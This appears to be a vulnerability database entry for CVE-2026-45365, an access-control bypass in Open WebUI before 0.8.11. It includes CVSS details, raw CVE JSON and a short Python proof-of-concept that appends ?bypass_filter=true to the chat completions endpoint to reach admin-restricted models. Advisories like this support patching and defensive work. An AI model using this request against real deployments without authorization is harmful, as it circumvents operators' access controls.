Security Vulnerability Report
中文
CVE-2026-45365 CVSS 5.4 MEDIUM

CVE-2026-45365

Published: 2026-05-15 22:16:56
Last Modified: 2026-05-15 22:16:56

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.11, an internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models. This vulnerability is fixed in 0.8.11.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://localhost:3000/openai/chat/completions" # The vulnerable parameter that bypasses access control # Setting this to 'true' skips the permission check params = { "bypass_filter": "true" } # Headers with authentication (Low privileges required) headers = { "Authorization": "Bearer <YOUR_USER_TOKEN>", "Content-Type": "application/json" } # Payload trying to access an admin-restricted model payload = { "model": "admin-restricted-model", "messages": [{"role": "user", "content": "test"}] } # Sending the exploit request response = requests.post(url, headers=headers, params=params, json=payload) if response.status_code == 200: print("[+] Vulnerability exploited! Restricted model accessed.") else: print("[-] Failed to exploit.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45365", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:55.590", "lastModified": "2026-05-15T22:16:55.590", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.11, an internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models. This vulnerability is fixed in 0.8.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v6qf-75pr-p96m", "source": "[email protected]"}]}}